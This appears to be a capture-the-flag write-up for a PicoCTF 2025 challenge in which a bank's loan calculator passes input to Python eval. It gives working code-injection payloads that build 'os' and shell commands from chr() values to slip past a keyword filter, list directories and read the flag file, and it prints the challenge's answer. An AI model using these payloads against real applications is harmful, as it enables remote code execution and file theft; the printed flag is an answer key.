PicoCTF 2025 - 3v@l

Problem

ABC Bank's website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank's calculator and read the flag?

Author: Theoneste Byagutangaza

Ans: picoCTF{D0nt_Use_Unsecure_f@nctions5e20166b}

Solution:

First, enter the website.

image

I tried inputting 123.

image

We can see that the result is the same as the input. According to the problem, the server uses eval, so we can input anything to achieve RCE and read files.

__import__('os').popen('ls').read()

image

Okay… the server filters out some sensitive words. Then I checked F12 and found this:

image

But we can try encoding the input.

__import__(chr(111)+chr(115)).popen(chr(108)+chr(115)).read()

image
image

We successfully executed it and could see the files, so we used pwd.

__import__(chr(111)+chr(115)).popen(chr(112)+chr(119)+chr(100)).read()

image
image

Next, we tried ls /.

__import__(chr(111)+chr(115)).popen(chr(108)+chr(115)+chr(32)+chr(47)).read()

image

Great! Now we cat the flag file.

__import__(chr(111)+chr(115)).popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()

image
image